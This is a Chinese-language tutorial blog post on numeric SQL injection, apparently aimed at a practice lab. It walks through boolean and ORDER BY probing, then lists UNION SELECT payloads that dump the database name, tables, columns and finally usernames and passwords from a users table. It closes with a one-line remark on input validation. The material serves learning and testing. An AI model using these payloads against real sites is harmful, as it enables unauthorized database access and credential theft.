sql注入之数字注入

若是数字型注入,注入 ?id=1 and 1=2 时的SQL语句为:

select * from users where id=1 and 1=2

因为 select * from users where id=1 是正确的语句 ,and 后面的 1=2 是错误的语句,所以select * from users where id=1 and 1=2 会有异常或着网页没有回显(当一个错误的语句和一个正确的语句用and连接符连接时,整体就会是错误的 )
判断注入类型:根据返回结果进一步判断注入类型。

例如,输入id=1 and 1=1,如果返回结果与预期不符,说明存在注入漏洞。

如果 id=1 and 1=1 返回正常

如果输入id=1 and 1=2报错,说明存在数字型注入;

如果输入id=1 order by 3报错,而输入id=1 order by 2正确,说明存在注入漏洞。

获取数据库信息:利用注入点进行数据库信息获取,如数据库名称、数据表名称、列名等。

通过输入id=-1 union select 1,database()来获取当前数据库名称。

获取表信息:利用注入点获取数据库中的表信息,如表名、列名等。

通过输入id=-1 union select 1,table_name from information_schema.tables where table_schema='your_database'来获取表名。
获取列信息:利用注入点获取表中的列信息,如列名、数据类型等。

通过输入id=-1 union select 1,column_name from information_schema.columns where table_name='your_table'来获取列名。
爆显示位:通过输入特定的SQL语句,尝试爆出数据库中的显示位。可以尝试输入id=-1 union select 1,2来爆出显示位。
控制查询:利用注入点控制查询语句的执行,例如通过输入id=1 and 1=2来控制查询语句的执行。
需要注意的是,数字型注入通常发生在应用程序中对用户输入的处理不当的情况下,因此应该加强对用户输入的处理和验证,避免出现注入漏洞

操作

?id=1 and 1=1

?id=1 order by 3 判断字段

?id=-1 union select 1,2,3 判断回显

?id=-1 union select 1,database(),version() 爆库

?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' 爆表

?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' 爆列

?id=-1 union select 1,2,group_concat(username ,id , password) from users 爆用户

  • 6
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

南棋网络安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值